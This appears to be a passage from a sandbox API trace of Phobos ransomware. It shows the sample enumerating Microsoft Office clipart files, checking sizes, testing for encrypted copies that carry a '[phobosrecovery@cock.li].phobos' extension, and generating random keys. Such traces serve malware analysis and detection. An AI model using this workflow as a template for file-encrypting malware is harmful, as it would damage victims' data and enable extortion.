[0154.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.087] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.087] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=25270) returned 1 [0154.088] CloseHandle (hObject=0x584) returned 1 [0154.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00683_.wmf")) returned 0x220 [0154.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00683_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00683_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.088] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.088] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=25346) returned 1 [0154.089] CloseHandle (hObject=0x584) returned 1 [0154.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf")) returned 0x220 [0154.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.089] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.090] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13878) returned 1 [0154.090] CloseHandle (hObject=0x584) returned 1 [0154.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf")) returned 0x220 [0154.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.090] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.091] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=91256) returned 1 [0154.091] CloseHandle (hObject=0x584) returned 1 [0154.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf")) returned 0x220 [0154.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.092] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.093] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5976) returned 1 [0154.093] CloseHandle (hObject=0x584) returned 1 [0154.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00728_.wmf")) returned 0x220 [0154.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00728_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00728_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.093] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.094] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5116) returned 1 [0154.094] CloseHandle (hObject=0x584) returned 1 [0154.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf")) returned 0x220 [0154.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.095] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.095] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1632) returned 1 [0154.095] CloseHandle (hObject=0x584) returned 1 [0154.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf")) returned 0x220 [0154.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.096] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.096] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1484) returned 1 [0154.096] CloseHandle (hObject=0x584) returned 1 [0154.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf")) returned 0x220 [0154.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.097] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.097] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6220) returned 1 [0154.097] CloseHandle (hObject=0x584) returned 1 [0154.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00736_.wmf")) returned 0x220 [0154.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00736_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00736_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.098] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.098] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21562) returned 1 [0154.098] CloseHandle (hObject=0x584) returned 1 [0154.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf")) returned 0x220 [0154.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.099] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.099] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5870) returned 1 [0154.099] CloseHandle (hObject=0x584) returned 1 [0154.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf")) returned 0x220 [0154.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.100] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.100] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16834) returned 1 [0154.100] CloseHandle (hObject=0x584) returned 1 [0154.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf")) returned 0x220 [0154.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.101] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.101] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10414) returned 1 [0154.101] CloseHandle (hObject=0x584) returned 1 [0154.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf")) returned 0x220 [0154.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.102] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.102] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14042) returned 1 [0154.102] CloseHandle (hObject=0x584) returned 1 [0154.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00834_.wmf")) returned 0x220 [0154.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00834_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00834_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.103] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.103] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16360) returned 1 [0154.103] CloseHandle (hObject=0x584) returned 1 [0154.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf")) returned 0x220 [0154.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.104] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.105] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6296) returned 1 [0154.105] CloseHandle (hObject=0x584) returned 1 [0154.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00910_.wmf")) returned 0x220 [0154.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00910_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00910_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.105] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 